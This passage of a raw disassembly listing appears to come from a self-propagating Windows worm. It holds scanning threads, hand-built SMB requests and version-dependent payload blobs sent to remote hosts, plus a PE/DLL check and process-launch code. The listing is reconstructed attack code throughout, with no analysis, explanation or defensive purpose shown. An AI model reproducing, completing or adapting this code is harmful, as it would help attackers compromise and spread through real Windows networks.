		mov	[ebp+var_248], 0
		cmp	byte ptr [ecx+0Ah], 30h
		jnz	short loc_408F54
		push	0
		push	0
		push	468h
		push	offset dword_4033B0
		push	1Fh
		push	[ebp+var_254]
		call	sub_412840
		mov	[ebp+var_248], eax
		jmp	loc_409003
; ---------------------------------------------------------------------------


loc_408F54:				; CODE XREF: sub_408DC0+16Cj
		cmp	byte ptr [ecx+0Ah], 31h
		jnz	short loc_408F98
		push	0
		push	0
		push	304h
		push	offset loc_403818
		push	1Fh
		push	[ebp+var_254]
		call	sub_412840
		push	0
		push	0
		push	304h
		push	offset loc_403818
		push	1Fh
		push	[ebp+var_254]
		call	sub_412840
		mov	[ebp+var_248], eax
		jmp	short loc_409003
; ---------------------------------------------------------------------------


loc_408F98:				; CODE XREF: sub_408DC0+198j
		cmp	byte ptr [ecx+8], 4Eh
		jnz	short loc_408FC1
		push	0
		push	0
		push	468h
		push	offset dword_4033B0
		push	1Fh
		push	[ebp+var_254]
		call	sub_412840
		mov	[ebp+var_248], eax
		jmp	short loc_409003
; ---------------------------------------------------------------------------


loc_408FC1:				; CODE XREF: sub_408DC0+1DCj
		cmp	byte ptr [ecx+8], 53h
		jnz	short loc_409003
		push	0
		push	0
		push	300h
		push	offset dword_403B1C
		push	1Fh
		push	[ebp+var_254]
		call	sub_412840
		push	0
		push	0
		push	300h
		push	offset dword_403B1C
		push	1Fh
		push	[ebp+var_254]
		call	sub_412840
		mov	[ebp+var_248], eax


loc_409003:				; CODE XREF: sub_408DC0+18Fj
					; sub_408DC0+1D6j ...
		cmp	[ebp+var_248], 0FFFFFFFFh
		jnz	short loc_409035
		push	7D0h
		call	sub_40A212
		push	2704h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset word_41B10A
		call	sub_408C10
		cmp	eax, 1
		jnz	short loc_409035
		mov	[ebp+var_44], 1


loc_409035:				; CODE XREF: sub_408DC0+24Aj
					; sub_408DC0+26Cj
		push	[ebp+var_254]
		call	sub_412230
		push	[ebp+var_250]
		call	sub_412230
		push	[ebp+var_24C]
		call	sub_412230
		cmp	[ebp+var_44], 1
		jnz	short loc_409061
		jmp	loc_409572
; ---------------------------------------------------------------------------


loc_409061:				; CODE XREF: sub_408DC0:loc_408E80j
					; sub_408DC0+EBj ...
		lea	edi, loc_41408B+1
		push	0
		push	(offset	loc_413FFF+1)
		push	(offset	loc_413FFF+1)
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_411800
		cmp	eax, 0FFFFFFFBh
		jnz	short loc_409086
		jmp	loc_409572
; ---------------------------------------------------------------------------


loc_409086:				; CODE XREF: sub_408DC0+2BFj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4090A0
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_411800
		lea	edi, loc_414072+1


loc_4090A0:				; CODE XREF: sub_408DC0+2C9j
		cmp	eax, 0FFFFFFFBh
		jnz	short loc_4090AA
		jmp	loc_409572
; ---------------------------------------------------------------------------


loc_4090AA:				; CODE XREF: sub_408DC0+2E3j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4090B7
		mov	[ebp+var_24C], eax
		jmp	short loc_4090BC
; ---------------------------------------------------------------------------


loc_4090B7:				; CODE XREF: sub_408DC0+2EDj
		jmp	loc_4091EA
; ---------------------------------------------------------------------------


loc_4090BC:				; CODE XREF: sub_408DC0+2F5j
		push	(offset	loc_41405F+2)
		push	[ebp+var_24C]
		call	sub_410F30
		mov	[ebp+var_250], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4090E7
		push	[ebp+var_24C]
		call	sub_412230
		jmp	loc_4091EA
; ---------------------------------------------------------------------------


loc_4090E7:				; CODE XREF: sub_408DC0+315j
		push	edi
		push	[ebp+var_250]
		call	sub_411080
		mov	[ebp+var_254], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_409119
		push	[ebp+var_250]
		call	sub_412230
		push	[ebp+var_24C]
		call	sub_412230
		jmp	loc_4091EA
; ---------------------------------------------------------------------------


loc_409119:				; CODE XREF: sub_408DC0+33Cj
		push	(offset	loc_4140B5+2)
		push	[ebp+var_254]
		call	sub_4111E0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_409149
		push	[ebp+var_250]
		call	sub_412230
		push	[ebp+var_24C]
		call	sub_412230
		jmp	loc_4091EA
; ---------------------------------------------------------------------------


loc_409149:				; CODE XREF: sub_408DC0+36Cj
		mov	edx, [ebp+var_24C]
		lea	ecx, [edx+18Ah]
		mov	[ebp+var_248], 0
		cmp	byte ptr [ecx+0Ah], 30h
		jz	short loc_40916B
		cmp	byte ptr [ecx+0Ah], 31h
		jnz	short loc_40918C


loc_40916B:				; CODE XREF: sub_408DC0+3A3j
		push	0
		push	0
		push	898h
		push	403E1Ch
		push	36h
		push	[ebp+var_254]
		call	sub_412840
		mov	[ebp+var_248], eax


loc_40918C:				; CODE XREF: sub_408DC0+3A9j
		cmp	[ebp+var_248], 0FFFFFFFFh
		jnz	short loc_4091BE
		push	7D0h
		call	sub_40A212
		push	2704h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset word_41B10A
		call	sub_408C10
		cmp	eax, 1
		jnz	short loc_4091BE
		mov	[ebp+var_44], 1


loc_4091BE:				; CODE XREF: sub_408DC0+3D3j
					; sub_408DC0+3F5j
		push	[ebp+var_254]
		call	sub_412230
		push	[ebp+var_250]
		call	sub_412230
		push	[ebp+var_24C]
		call	sub_412230
		cmp	[ebp+var_44], 1
		jnz	short loc_4091EA
		jmp	loc_409572
; ---------------------------------------------------------------------------


loc_4091EA:				; CODE XREF: sub_408DC0:loc_4090B7j
					; sub_408DC0+322j ...
		push	0
		push	(offset	loc_413FFF+1)
		push	(offset	loc_413FFF+1)
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_411800
		cmp	eax, 0FFFFFFFBh
		jnz	short loc_409209
		jmp	loc_409572
; ---------------------------------------------------------------------------


loc_409209:				; CODE XREF: sub_408DC0+442j
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40921D
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_411800


loc_40921D:				; CODE XREF: sub_408DC0+44Cj
		cmp	eax, 0FFFFFFFBh
		jnz	short loc_409227
		jmp	loc_409572
; ---------------------------------------------------------------------------


loc_409227:				; CODE XREF: sub_408DC0+460j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_409234
		mov	[ebp+var_24C], eax
		jmp	short loc_409239
; ---------------------------------------------------------------------------


loc_409234:				; CODE XREF: sub_408DC0+46Aj
		jmp	loc_40938E
; ---------------------------------------------------------------------------


loc_409239:				; CODE XREF: sub_408DC0+472j
		push	(offset	loc_41405F+2)
		push	[ebp+var_24C]
		call	sub_410F30
		mov	[ebp+var_250], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_409264
		push	[ebp+var_24C]
		call	sub_412230
		jmp	loc_40938E
; ---------------------------------------------------------------------------


loc_409264:				; CODE XREF: sub_408DC0+492j
		push	offset loc_414082
		push	[ebp+var_250]
		call	sub_411080
		mov	[ebp+var_254], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40929A
		push	[ebp+var_250]
		call	sub_412230
		push	[ebp+var_24C]
		call	sub_412230
		jmp	loc_40938E
; ---------------------------------------------------------------------------


loc_40929A:				; CODE XREF: sub_408DC0+4BDj
		push	(offset	loc_4140DD+2)
		push	[ebp+var_254]
		call	sub_4111E0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4092CA
		push	[ebp+var_250]
		call	sub_412230
		push	[ebp+var_24C]
		call	sub_412230
		jmp	loc_40938E
; ---------------------------------------------------------------------------


loc_4092CA:				; CODE XREF: sub_408DC0+4EDj
		mov	edx, [ebp+var_24C]
		lea	ecx, [edx+18Ah]
		mov	[ebp+var_248], 0
		cmp	byte ptr [ecx+0Ah], 30h
		jnz	short loc_409309
		push	0
		push	0
		push	63Fh
		push	offset dword_414AB4
		push	4
		push	[ebp+var_254]
		call	sub_412840
		mov	[ebp+var_248], eax
		jmp	short loc_409330
; ---------------------------------------------------------------------------


loc_409309:				; CODE XREF: sub_408DC0+524j
		cmp	byte ptr [ecx+0Ah], 31h
		jnz	short loc_409330
		push	0
		push	0
		push	640h
		push	offset aEmutexa	; "eMutexA"
		push	4
		push	[ebp+var_254]
		call	sub_412840
		mov	[ebp+var_248], eax


loc_409330:				; CODE XREF: sub_408DC0+547j
					; sub_408DC0+54Dj
		cmp	[ebp+var_248], 0FFFFFFFFh
		jnz	short loc_409362
		push	7D0h
		call	sub_40A212
		push	2704h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset word_41B10A
		call	sub_408C10
		cmp	eax, 1
		jnz	short loc_409362
		mov	[ebp+var_44], 1


loc_409362:				; CODE XREF: sub_408DC0+577j
					; sub_408DC0+599j
		push	[ebp+var_254]
		call	sub_412230
		push	[ebp+var_250]
		call	sub_412230
		push	[ebp+var_24C]
		call	sub_412230
		cmp	[ebp+var_44], 1
		jnz	short loc_40938E
		jmp	loc_409572
; ---------------------------------------------------------------------------


loc_40938E:				; CODE XREF: sub_408DC0:loc_409234j
					; sub_408DC0+49Fj ...
		push	0
		push	(offset	loc_413FFF+1)
		push	(offset	loc_413FFF+1)
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_411800
		cmp	eax, 0FFFFFFFBh
		jnz	short loc_4093AD
		jmp	loc_409572
; ---------------------------------------------------------------------------


loc_4093AD:				; CODE XREF: sub_408DC0+5E6j
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4093C1
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_411800


loc_4093C1:				; CODE XREF: sub_408DC0+5F0j
		cmp	eax, 0FFFFFFFBh
		jnz	short loc_4093CB
		jmp	loc_409572
; ---------------------------------------------------------------------------


loc_4093CB:				; CODE XREF: sub_408DC0+604j
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4093D8
		mov	[ebp+var_24C], eax
		jmp	short loc_4093DD
; ---------------------------------------------------------------------------


loc_4093D8:				; CODE XREF: sub_408DC0+60Ej
		jmp	loc_40952F
; ---------------------------------------------------------------------------


loc_4093DD:				; CODE XREF: sub_408DC0+616j
		push	(offset	loc_41405F+2)
		push	[ebp+var_24C]
		call	sub_410F30
		mov	[ebp+var_250], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_409408
		push	[ebp+var_24C]
		call	sub_412230
		jmp	loc_40952F
; ---------------------------------------------------------------------------


loc_409408:				; CODE XREF: sub_408DC0+636j
		push	(offset	loc_41407A+2)
		push	[ebp+var_250]
		call	sub_411080
		mov	[ebp+var_254], eax
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40943E
		push	[ebp+var_250]
		call	sub_412230
		push	[ebp+var_24C]
		call	sub_412230
		jmp	loc_40952F
; ---------------------------------------------------------------------------


loc_40943E:				; CODE XREF: sub_408DC0+661j
		push	offset loc_4140CB
		push	[ebp+var_254]
		call	sub_4111E0
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40946E
		push	[ebp+var_250]
		call	sub_412230
		push	[ebp+var_24C]
		call	sub_412230
		jmp	loc_40952F
; ---------------------------------------------------------------------------


loc_40946E:				; CODE XREF: sub_408DC0+691j
		mov	edx, [ebp+var_24C]
		lea	ecx, [edx+18Ah]
		mov	[ebp+var_248], 0
		cmp	byte ptr [ecx+0Ah], 30h
		jnz	short loc_4094AD
		push	0
		push	0
		push	200Ch
		push	offset byte_4163BB
		push	9
		push	[ebp+var_254]
		call	sub_412840
		mov	[ebp+var_248], eax
		jmp	short loc_4094D4
; ---------------------------------------------------------------------------


loc_4094AD:				; CODE XREF: sub_408DC0+6C8j
		cmp	byte ptr [ecx+0Ah], 31h
		jnz	short loc_4094D4
		push	0
		push	0
		push	0C88h
		push	offset byte_415733
		push	9
		push	[ebp+var_254]
		call	sub_412840
		mov	[ebp+var_248], eax


loc_4094D4:				; CODE XREF: sub_408DC0+6EBj
					; sub_408DC0+6F1j
		cmp	[ebp+var_248], 0FFFFFFFFh
		jnz	short loc_409506
		push	7D0h
		call	sub_40A212
		push	2704h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset word_41B10A
		call	sub_408C10
		cmp	eax, 1
		jnz	short loc_409506
		mov	[ebp+var_44], 1


loc_409506:				; CODE XREF: sub_408DC0+71Bj
					; sub_408DC0+73Dj
		push	[ebp+var_254]
		call	sub_412230
		push	[ebp+var_250]
		call	sub_412230
		push	[ebp+var_24C]
		call	sub_412230
		cmp	[ebp+var_44], 1
		jnz	short loc_40952F
		jmp	short loc_409572
; ---------------------------------------------------------------------------


loc_40952F:				; CODE XREF: sub_408DC0:loc_4093D8j
					; sub_408DC0+643j ...
		lea	eax, [ebp+var_3C]
		push	eax
		call	sub_4095A0
		push	7D0h
		call	sub_40A212
		push	2704h
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset word_41B10A
		call	sub_408C10
		cmp	eax, 1
		jnz	short loc_409561
		mov	[ebp+var_44], 1


loc_409561:				; CODE XREF: sub_408DC0+798j
		cmp	[ebp+var_44], 1
		jz	short loc_409572
		push	[ebp+var_258]
		call	sub_408440


loc_409572:				; CODE XREF: sub_408DC0+6Cj
					; sub_408DC0+90j ...
		push	offset dword_41BC90
		call	sub_40A1B2
		cmp	dword_41BC90, 0FF000000h
		jbe	short loc_409592
		mov	dword_41BC90, 0


loc_409592:				; CODE XREF: sub_408DC0+7C6j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_408DC0	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4095A0	proc near		; CODE XREF: sub_408DC0+773p

var_6C		= dword	ptr -6Ch
var_64		= byte ptr -64h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF94h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_6C], 0FFFFFFFFh
		push	[ebp+arg_0]
		lea	eax, [ebp+var_64]
		push	eax
		call	sub_40A25A
		push	0
		lea	eax, [ebp+var_64]
		push	eax
		call	sub_4114E0
		mov	edi, eax
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4095FD
		push	edi
		call	sub_4096E0
		push	107Eh
		push	4046B4h
		push	edi
		call	sub_409610
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4095F0
		mov	[ebp+var_6C], 4


loc_4095F0:				; CODE XREF: sub_4095A0+47j
		push	edi
		call	sub_40A2FC
		mov	[ebp+var_6C], 0


loc_4095FD:				; CODE XREF: sub_4095A0+2Cj
		mov	eax, [ebp+var_6C]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_4095A0	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 24A4h, 0FF8B0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409610	proc near		; CODE XREF: sub_4095A0+3Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	ebx, 20h
		add	ebx, 1Bh
		add	ebx, [ebp+arg_8]
		add	ebx, 6
		mov	esi, ebx
		add	esi, 200h
		push	esi
		push	40h
		call	sub_40A1D0
		mov	edi, eax
		mov	esi, edi
		add	edi, 4
		mov	dword ptr [edi], 424D53FFh
		mov	byte ptr [edi+4], 73h
		mov	byte ptr [edi+9], 18h
		mov	word ptr [edi+0Ah], 807h
		mov	word ptr [edi+1Ah], 3900h
		add	edi, 20h
		mov	byte ptr [edi],	0Ch
		mov	byte ptr [edi+1], 0FFh
		mov	word ptr [edi+5], 1104h
		mov	word ptr [edi+7], 0Ah
		mov	word ptr [edi+9], 0
		mov	eax, [ebp+arg_8]
		mov	[edi+0Fh], ax
		mov	dword ptr [edi+15h], 800000D4h
		mov	eax, [ebp+arg_8]
		mov	[edi+19h], ax
		add	edi, 1Bh
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_40F5BF
		add	edi, [ebp+arg_8]
		push	0Ah
		push	0
		push	edi
		call	sub_40F5F0
		push	ebx
		call	sub_40A30E
		mov	[esi], eax
		add	ebx, 4
		push	200h
		push	esi
		push	ebx
		push	esi
		push	[ebp+arg_0]
		call	sub_410DC0
		mov	edi, esi
		add	edi, 4
		movzx	ebx, word ptr [edi+5]
		push	esi
		call	sub_40A1D6
		mov	eax, ebx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
sub_409610	endp

; ---------------------------------------------------------------------------
		dd 24A48Dh, 90000000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4096E0	proc near		; CODE XREF: sub_4095A0+2Fp

var_718		= dword	ptr -718h
var_714		= byte ptr -714h
var_214		= dword	ptr -214h
var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= byte ptr -204h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF8E8h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_718], 0FFFFFFFFh
		mov	eax, ds:dword_414006
		mov	[ebp+var_4], eax
		add	[ebp+var_4], 3
		add	[ebp+var_4], 20h
		push	200h
		push	0
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_40F5F0
		lea	esi, [ebp+var_204]
		lea	edi, [ebp+var_204]
		push	[ebp+var_4]
		call	sub_40A30E
		mov	[edi], eax
		add	edi, 4
		mov	dword ptr [edi], 424D53FFh
		mov	byte ptr [edi+4], 72h
		mov	byte ptr [edi+9], 18h
		mov	word ptr [edi+0Ah], 0C853h
		mov	word ptr [edi+1Ah], 3900h
		add	edi, 20h
		mov	eax, ds:dword_414006
		mov	[edi+1], ax
		add	edi, 3
		push	ds:dword_414006
		push	offset word_41400A
		push	edi
		call	sub_40F5BF
		add	[ebp+var_4], 4
		push	0
		push	[ebp+var_4]
		push	esi
		push	[ebp+arg_0]
		call	sub_40A338
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_409785
		jmp	short loc_4097FA
; ---------------------------------------------------------------------------


loc_409785:				; CODE XREF: sub_4096E0+A1j
		mov	[ebp+var_20C], 6
		mov	[ebp+var_208], 0
		mov	[ebp+var_214], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_210], eax
		lea	eax, [ebp+var_20C]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_214]
		push	eax
		push	0
		call	sub_40A332
		or	eax, eax
		jz	short loc_4097F3
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4097F3
		push	0
		push	200h
		lea	eax, [ebp+var_714]
		push	eax
		push	[ebp+arg_0]
		call	sub_40A32C
		lea	esi, [ebp+var_714]
		add	esi, 4
		movzx	eax, word ptr [esi+5]
		jmp	short loc_4097FA
; ---------------------------------------------------------------------------


loc_4097F3:				; CODE XREF: sub_4096E0+E7j
					; sub_4096E0+ECj
		mov	eax, 0FFFFFFFFh
		jmp	short $+2


loc_4097FA:				; CODE XREF: sub_4096E0+A3j
					; sub_4096E0+111j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_4096E0	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 8
		dd 24A48Dh, 90000000h, 6E69614Dh, 6E616353h, 72656854h
		db 64h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+10h]
		mov	ecx, [ebp+0Ch]
		mov	eax, [ecx+8]
		mov	[edx+0B8h], eax
		mov	eax, [ecx+0Ch]
		mov	[edx+0C4h], eax
		mov	eax, [ecx+10h]
		mov	[edx+0B4h], eax
		mov	eax, 0
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		dw 9B8Dh
		align 10h
		dd 6B726F57h, 6E616353h, 65726854h
		db 64h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+10h]
		mov	ecx, [ebp+0Ch]
		mov	eax, [ecx+8]
		mov	[edx+0B8h], eax
		mov	eax, [ecx+0Ch]
		mov	[edx+0C4h], eax
		mov	eax, [ecx+10h]
		mov	[edx+0B4h], eax
		mov	eax, 0
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		dw 9B8Dh
		align 10h
		dd 2FBE8h, 80036800h, 55E80000h, 0E8000009h, 58Ch, 3F7E8h
		dd 0B3026800h, 0F9E80041h, 68000008h, 41B31Ah, 8EFE8h
		dd 0B3326800h, 0E5E80041h, 68000008h, 41B34Ah, 8DBE8h
		dd 0B3626800h, 0D1E80041h, 68000008h, 41B906h, 20268h
		dd 0A0CE800h, 0C00B0000h, 0EC850Fh, 5C70000h, 41BB70h
		dd 94h,	41BB7068h, 8A0E800h, 0B5E80000h, 0E8FFFF9Bh, 0FFFF9B70h
		dd 2 dup(6A006Ah), 7EDE8h, 0BC3CA300h, 5F70041h, 41473Ch
		dd 10000000h, 3D831D74h, 41BB80h, 0E80A7502h, 0FFFF9E94h
		dd 9DE9h, 0A09AE800h, 93E9FFFFh, 0F7000000h, 41473C05h
		dd 0
		dd 83177401h, 41BB803Dh, 7750200h, 0FF9EBBE8h, 0E877EBFFh
		dd 79h,	5F770EBh, 41473Ch, 100000h, 3D831774h, 41BB80h
		dd 0E8077502h, 0FFFF9BE8h, 0B1E854EBh, 0EBFFFFA0h, 3C05F74Dh
		dd 4147h, 74000100h, 3BEE820h, 0C00B0000h, 3D833875h, 41BB80h
		dd 0E8077502h, 0FFFF9D6Ch, 15E805EBh, 0EBFFFFA1h, 3C05F721h
		dd 4147h, 74000010h, 803D8310h,	20041BBh, 0A9E80C75h, 0EBFFFF9Eh
		dd 7E805h, 6A0000h, 755E8h
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4099E5	proc near		; CODE XREF: rdata:00403811p
					; rdata:0040392Ep

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		call	sub_409ED0
		push	offset dword_41BAA0
		push	(offset	loc_414778+1)
		call	sub_403400
		cmp	eax, 1
		jnz	short loc_409A0C
		call	sub_409C10


loc_409A0C:				; CODE XREF: sub_4099E5+20j
		push	offset loc_41450E
		push	1
		push	0
		call	sub_40A11C
		mov	off_41BC24, eax
		call	sub_40A17C
		or	eax, eax
		jz	short loc_409A3A
		push	off_41BC24
		call	sub_40A0FE
		push	0
		call	sub_40A13A


loc_409A3A:				; CODE XREF: sub_4099E5+41j
		push	0Ch
		call	sub_40A290
		mov	[ebp+var_8], eax
		mov	esi, eax
		push	0
		push	0
		push	0
		push	0
		call	sub_40A10A
		mov	[esi], eax
		mov	edi, 1
		push	offset byte_4149F7
		push	0
		push	4
		call	sub_40A1E2
		or	eax, eax
		jz	short loc_409AAD
		push	eax
		call	sub_40A0FE
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		push	0
		push	402C70h
		push	0
		push	0
		call	sub_40A128
		mov	[esi+8], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		push	[ebp+var_8]
		push	offset unk_407700
		push	0
		push	0
		call	sub_40A128
		push	eax
		call	sub_40A0FE
		mov	edi, 4


loc_409AAD:				; CODE XREF: sub_4099E5+85j
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	0
		push	402750h
		push	0
		push	0
		call	sub_40A128
		mov	[esi+4], eax
		push	0FFFFFFFFh
		push	off_41BC3C
		call	sub_40A236
		cmp	off_41BC20, 0
		jz	short loc_409AF7
		push	1
		push	0
		call	sub_403970
		push	3E8h
		call	sub_40A212
		push	4
		push	0
		call	sub_403970


loc_409AF7:				; CODE XREF: sub_4099E5+F4j
		push	0
		call	sub_40A13A
		mov	edi, edi
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	edi
		push	esi
		push	ebx
		push	0C8h
		call	sub_40A212
		mov	[ebp+var_10], 1
		mov	esi, [ebp+arg_0]
		push	dword ptr [esi]
		pop	[ebp+var_4]
		push	dword ptr [esi+8]
		pop	[ebp+var_8]
		push	dword ptr [esi+4]
		pop	[ebp+var_C]
		push	[ebp+arg_0]
		call	sub_40A296


loc_409B36:				; CODE XREF: sub_4099E5:loc_409B7Fj
		push	36EE80h
		push	[ebp+var_4]
		call	sub_40A236
		cmp	[ebp+var_10], 0
		jnz	short loc_409B62
		push	[ebp+var_8]
		call	sub_40A1EE
		push	[ebp+var_C]
		call	sub_40A218
		mov	[ebp+var_10], 1
		jmp	short loc_409B7F
; ---------------------------------------------------------------------------


loc_409B62:				; CODE XREF: sub_4099E5+162j
		cmp	[ebp+var_10], 1
		jnz	short loc_409B7F
		push	[ebp+var_C]
		call	sub_40A1EE
		push	[ebp+var_8]
		call	sub_40A218
		mov	[ebp+var_10], 0


loc_409B7F:				; CODE XREF: sub_4099E5+17Bj
					; sub_4099E5+181j
		jmp	short loc_409B36
sub_4099E5	endp

; ---------------------------------------------------------------------------
		db 5Bh,	5Eh, 5Fh
		dd 4C2C9h, 24A48Dh, 90000000h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+10h]
		mov	edi, [ebp+0Ch]
		mov	dword_41B79E, edi
		add	ebp, 4
		mov	ebx, 0FFFFFFFFh
		push	400h
		push	edi
		call	sub_40A1BE
		or	eax, eax
		jnz	short loc_409BD9
		cmp	word ptr [edi],	5A4Dh
		jnz	short loc_409BD9
		add	edi, [edi+3Ch]
		cmp	dword ptr [edi], 4550h
		jnz	short loc_409BD9
		movzx	ecx, word ptr [edi+16h]
		test	ecx, 2000h
		jz	short loc_409BD9
		xor	ebx, ebx


loc_409BD9:				; CODE XREF: rdata:00409BB7j
					; rdata:00409BBEj ...
		or	ebx, ebx
		jnz	short loc_409BFA
		call	sub_403D20
		cmp	esi, 1
		jnz	short loc_409BF3
		mov	eax, 1
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409BF3:				; CODE XREF: rdata:00409BE5j
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------


loc_409BFA:				; CODE XREF: rdata:00409BDBj
		sub	ebp, 4
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	0Ch
; ---------------------------------------------------------------------------
		dd 24A48Dh, 5000000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409C10	proc near		; CODE XREF: sub_4099E5+22p

var_190		= byte ptr -190h
var_180		= byte ptr -180h
var_12C		= byte ptr -12Ch
var_54		= dword	ptr -54h
var_10		= byte ptr -10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE80h
		push	edi
		push	esi
		push	ebx
		push	0
		call	sub_40A284
		push	offset aInistrator ; "inistrator"
		call	sub_40F550
		mov	dword_41BB68, eax
		push	offset dword_41BB6C
		push	1
		push	4
		push	dword_41BB68
		push	offset word_41B7AA
		call	sub_40A28A
		push	12Ch
		lea	eax, [ebp+var_180]
		push	eax
		push	0
		call	sub_40A188
		xor	eax, eax
		lea	edi, [ebp+var_54]
		mov	ecx, 44h
		rep stosb
		mov	[ebp+var_54], 44h
		xor	edx, edx
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_54]
		push	eax
		push	edx
		push	edx
		push	edx
		push	edx
		push	edx
		push	edx
		lea	eax, [ebp+var_180]
		push	eax
		push	edx
		call	sub_40A122
		push	0
		call	sub_40A13A
		lea	esp, [esp+0]
		lea	esp, [esp+0]
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFE70h
		push	edi
		push	esi
		push	ebx
		push	0
		push	64h
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_40A3A4
		push	0
		push	12Ch
		lea	eax, [ebp+var_12C]
		push	eax
		call	sub_40A3A4
		push	12Ch
		lea	eax, [ebp+var_12C]
		push	eax
		push	0
		call	sub_40A188
		mov	edx, 64h
		lea	ecx, [ebp+var_12C]
		lea	eax, word_41B7AA
		push	eax
		call	sub_40AF60
		push	offset word_41B7DA
		push	offset loc_414557
		push	offset word_41B7AA
		call	sub_4048E0
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_404B00
		lea	eax, [ebp+var_190]
		push	eax
		push	offset loc_414537
		push	offset word_41B7DA
		push	80000000h
		call	sub_404870
		lea	eax, [ebp+var_12C]
		push	eax
		push	offset loc_414540
		push	offset word_41B7DA
		push	80000000h
		call	sub_404870
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_409C10	endp

; ---------------------------------------------------------------------------
		dd 24A48Dh, 5000000h, 0
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFD44h
		push	edi
		push	esi
		push	ebx
		xor	ebx, ebx
		push	1F4h
		call	sub_40A212
		lea	eax, [ebp-2BCh]
		push	eax
		push	offset dword_4147A4
		call	sub_403400
		cmp	eax, 1
		jnz	short loc_409D9B
		lea	eax, [ebp-2BCh]
		push	eax
		call	sub_40A12E
		inc	ebx


loc_409D9B:				; CODE XREF: rdata:00409D8Cj
		mov	eax, ebx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0A48Dh
		dd 24h,	24A48D00h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409DB0	proc near		; CODE XREF: rdata:004046C4p

var_4		= dword	ptr -4
